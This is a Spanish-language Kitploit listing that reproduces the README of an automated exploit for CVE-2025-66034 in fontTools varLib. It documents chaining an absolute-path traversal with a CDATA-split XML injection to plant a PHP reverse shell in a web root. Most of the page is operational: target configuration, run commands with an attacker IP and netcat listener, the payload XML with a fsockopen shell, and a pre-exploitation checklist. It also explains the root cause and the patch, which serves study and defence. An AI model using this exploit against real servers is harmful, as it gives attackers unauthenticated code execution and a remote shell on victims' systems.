Skip to content
KitploitKITPLOIT
HerramientasBlog
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
POC-CVE-2025-66034 — Exploit automatizado para CVE-2025-66034, que encadena path traversal e inyección XML en fontTools varLib para lograr ejecución remota de código sin autenticación mediante la carga de un archivo .designspace manipulado. | Kitploit
Herramientas/GitHubGitHub/v3cn4x00/poc-cve-2025-66034
Generación de PayloadsAnálisis de VulnerabilidadesAnálisis de CódigoExplotaciónExplotación de Aplicaciones WebAnálisis de BinariosAprendizaje y EducaciónHerramienta de Acceso Remoto
GitHub
v3cn4x00/poc-cve-2025-66034

POC-CVE-2025-66034

Exploit automatizado para CVE-2025-66034, que encadena path traversal e inyección XML en fontTools varLib para lograr ejecución remota de código sin autenticación mediante la carga de un archivo .designspace manipulado.

Ver Repositorio
41hace 5 mesesAún no revisado

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir

font_varlib.py — CVE-2025-66034

fontTools varLib — Escritura Arbitraria de Archivos + Inyección XML → Ejecución Remota de Código

CVE Component Class Language Deps License


Tabla de Contenidos

  • Descripción General
  • Detalles de la Vulnerabilidad
  • Cadena de Ataque
  • Requisitos
  • Instalación
  • Configuración
  • Uso
  • Cómo Funciona
  • Código Vulnerable
  • Lista de Verificación Pre-Explotación
  • Probado En
  • Aviso Legal
  • Referencias

  • Descripción General

    CVE-2025-66034 es una vulnerabilidad en el pipeline de generación de fuentes variables fontTools.varLib. Cuando una aplicación web expone este pipeline y acepta archivos .designspace proporcionados por el usuario, dos debilidades se encadenan para lograr ejecución remota de código sin autenticación.

    font_varlib.py automatiza toda la cadena de explotación — generación de fuentes, creación del payload, carga y entrega de la reverse shell.


    Detalles de la Vulnerabilidad

    CampoDetalle
    ID CVECVE-2025-66034
    GHSAGHSA-768j-98cg-p3fv
    Paquetefonttools (pip)
    Rango Afectado>= 4.33.0, < 4.60.2
    Corregido En4.60.2
    GravedadModerada (CVSS 6.3)
    Vector de AtaqueLocal (requiere carga de archivo en el objetivo)
    Privilegios RequeridosNinguno
    Interacción del UsuarioRequerida (disparador de carga)

    Cadena de Debilidades

    #PrimitivaCWECausa Raíz
    1Path TraversalCWE-22El atributo filename en .designspace se pasa directamente a os.path.join() sin sanitización — las rutas absolutas descartan por completo el directorio de salida previsto
    2Inyección XMLCWE-91Las secciones CDATA de <labelname> permiten que una secuencia de división (]]]]><![CDATA[>) cuele PHP crudo más allá del parser XML en el archivo de salida escrito

    Cadena de Ataque

    root@kitploit:~
    Attacker crafts malicious .designspace
                │
                ├── <variable-font filename="/var/www/html/files/shell.php">
                │        └── PATH TRAVERSAL
                │            os.path.join(output_dir, absolute_path)
                │            → output_dir discarded → write to web root
                │
                └── <labelname><![CDATA[<?php ... ?>]]]]><![CDATA[>]]></labelname>
                         └── XML INJECTION
                             CDATA split embeds raw PHP
                             into the output font binary
                │
                ▼
        fontTools.varLib.main() processes file server-side
                │
                ▼
        shell.php written to web-accessible directory
                │
                ▼
        GET /files/shell.php → PHP executes → reverse shell callback
                │
                ▼
        RCE as www-data
    

    Requisitos

    Python: 3.9+

    Dependencias:

    root@kitploit:~
    pip install fonttools requests
    

    Sistema:

    root@kitploit:~
    nc (netcat) — required for auto listener mode (--no-listen skips this)
    

    Instalación

    root@kitploit:~
    git clone https://github.com/yourhandle/font_varlib
    cd font_varlib
    pip install fonttools requests
    

    Configuración

    Antes de ejecutar, abre font_varlib.py y actualiza el bloque de configuración al inicio del archivo para que coincida con tu objetivo. Cada valor tiene un comentario en línea que explica qué es y cómo encontrar el valor correcto.

    root@kitploit:~
    # ══════════════════════════════════════════════════════════════════════════════
    #  DEFAULTS
    #  Change these to match your target before running.
    #  All values can also be overridden at runtime via CLI flags — see --help.
    # ══════════════════════════════════════════════════════════════════════════════
    
    # Base URL of the upload host (the site that accepts the .designspace)
    UPLOAD_HOST      = "http://test.com"
    
    # Path on the upload host that processes the multipart form POST
    # Confirm with Burp — look for the POST after clicking the generate button
    UPLOAD_ENDPOINT  = "/tools/variable-font-generator/process"
    
    # Absolute filesystem path on the server where output files are written
    # Must be web-accessible so the shell can be triggered via HTTP
    WEBROOT          = "/var/www/test.com/public/files"
    
    # Base URL used to fetch/trigger the written shell file
    # Maps to WEBROOT on disk
    SHELL_HOST       = "http://testing.test.com/files"
    
    # Multipart form field names — confirm with Burp before running
    # If upload silently fails (HTTP 200 but no shell), wrong field names are the cause
    FIELD_DESIGNSPACE = "designspace"
    FIELD_MASTERS     = "masters"
    
    # Shell filename prefix — random suffix appended at runtime
    SHELL_PREFIX     = "f0nt_"
    
    # Length of random suffix — longer = harder to guess
    SHELL_SUFFIX_LEN = 8
    

    Consejo: Intercepta una solicitud de carga legítima en Burp Suite para confirmar UPLOAD_ENDPOINT y los nombres exactos de los campos multipart antes de ejecutar. Una discrepancia en los nombres de los campos provoca un fallo silencioso: el servidor devuelve HTTP 200 pero no se escribe ninguna shell.


    Uso

    Básico — listener automático de nc

    root@kitploit:~
    python3 font_varlib.py --ip <ATTACKER_IP> --port <PORT>
    

    Listener manual — inicia nc tú mismo

    root@kitploit:~
    # Terminal 1 — start your listener
    nc -lvnp 4444
    
    # Terminal 2 — run exploit without auto listener
    python3 font_varlib.py --ip <ATTACKER_IP> --port 4444 --no-listen
    

    Objetivo personalizado — anula todos los valores predeterminados en tiempo de ejecución

    root@kitploit:~
    python3 font_varlib.py \
      --ip 10.10.14.5 \
      --port 4444 \
      --upload http://target.htb/tools/variable-font-generator/process \
      --webroot /var/www/html/files \
      --shell http://target.htb/files
    

    Referencia completa de opciones

    ArgumentoObligatorioPredeterminadoDescripción
    --ip✓—IP del listener del atacante
    --port✓—Puerto del listener del atacante
    --uploadUPLOAD_HOST + UPLOAD_ENDPOINTEndpoint de carga (POST)
    --webrootWEBROOTRuta de escritura en el sistema de archivos del servidor (debe ser accesible por web)
    --shellSHELL_HOSTURL base utilizada para ejecutar la shell escrita
    --no-listenfalseOmitir listener automático de nc — solo disparo

    Cómo Funciona

    Paso 1 — Generación de Fuentes

    Se generan programáticamente dos archivos fuente .ttf mínimos pero estructuralmente válidos usando fontTools.FontBuilder. varLib requiere al menos dos masters de eje para procesar una fuente variable; estos satisfacen ese requisito sin necesidad de archivos de fuente reales en disco.

    Paso 2 — Creación del Payload

    Se construye un archivo XML .designspace malicioso que incorpora ambas primitivas de ataque:

    Primitiva 1 — Inyección XML mediante división de CDATA:

    root@kitploit:~
    <labelname xml:lang="en">
      <![CDATA[<?php $s=fsockopen("IP",PORT); ... ?>]]]]><![CDATA[>]]>
    </labelname>
    

    La secuencia ]]]]><![CDATA[> termina el bloque CDATA actual e inmediatamente abre uno nuevo. El parser XML procesa esto como marcado válido, pero varLib serializa el contenido tal cual en el archivo de salida — incrustando PHP crudo en el binario de la fuente.

    Primitiva 2 — Path Traversal mediante el atributo filename:

    root@kitploit:~
    <variable-font name="MaliciousFont" filename="/var/www/html/files/shell.php">
    

    varLib construye la ruta de salida como:

    root@kitploit:~
    output_path = os.path.join(output_dir, filename)
    

    Cuando filename es una ruta absoluta, os.path.join() de Python descarta output_dir por completo. No se aplica ninguna sanitización en las versiones afectadas.

    Paso 3 — Carga

    El archivo .designspace y ambos archivos .ttf se envían como un POST multipart al endpoint de generación de fuentes del objetivo utilizando los nombres de campo confirmados con Burp.

    Paso 4 — Disparador

    Una petición HTTP GET al archivo .php escrito ejecuta la reverse shell, que se conecta de vuelta al listener nc del atacante mediante fsockopen + proc_open — sin necesidad de curl, wget o Python en el objetivo.


    Código Vulnerable

    fontTools/varLib/__init__.py (versiones afectadas):

    root@kitploit:~
    filename = vf.filename                             # attacker-controlled, unsanitised
    output_path = os.path.join(output_dir, filename)  # path traversal via absolute path
    vf.save(output_path)                              # arbitrary file write
    

    Parche en 4.60.2 — aplica os.path.basename() sobre filename antes de construir output_path, eliminando todas las secuencias de path traversal.


    Lista de Verificación Pre-Explotación

    Antes de ejecutar, confirma todo lo siguiente:

    root@kitploit:~
    [ ] fonttools version on target is >= 4.33.0 and < 4.60.2
    [ ] Target accepts .designspace + .ttf file uploads
    [ ] Backend calls fontTools.varLib.main() on the uploaded .designspace
    [ ] Upload form field names confirmed with Burp (designspace + masters)
    [ ] WEBROOT is web-accessible from outside
    [ ] WEBROOT is writable by the web process (www-data or equivalent)
    [ ] SHELL_HOST (--shell) is reachable from your machine
    [ ] Target hostname are in /etc/hosts
    

    Probado En

    EntornoVersión de fonttoolsResultado
    Ubuntu 22.04 / Python 3.114.59.0✓ Confirmado

    Aviso Legal

    Esta herramienta se proporciona únicamente con fines de investigación de seguridad educativa y autorizada.

    No la utilices contra ningún sistema que no poseas o para el que no tengas permiso explícito por escrito para realizar pruebas. El autor no asume ninguna responsabilidad por el mal uso o cualquier daño causado por este software.


    Referencias

    RecursoEnlace
    NVD — CVE-2025-66034https://nvd.nist.gov/vuln/detail/CVE-2025-66034
    Aviso de Seguridad de fontToolshttps://github.com/fonttools/fonttools/security/advisories/GHSA-768j-98cg-p3fv
    Commit del Parche — a696d5bhttps://github.com/fonttools/fonttools/commit/a696d5ba93270d5954f98e7cab5ddca8a02c1e32
    Proyecto fontToolshttps://github.com/fonttools/fonttools
    Descargar herramienta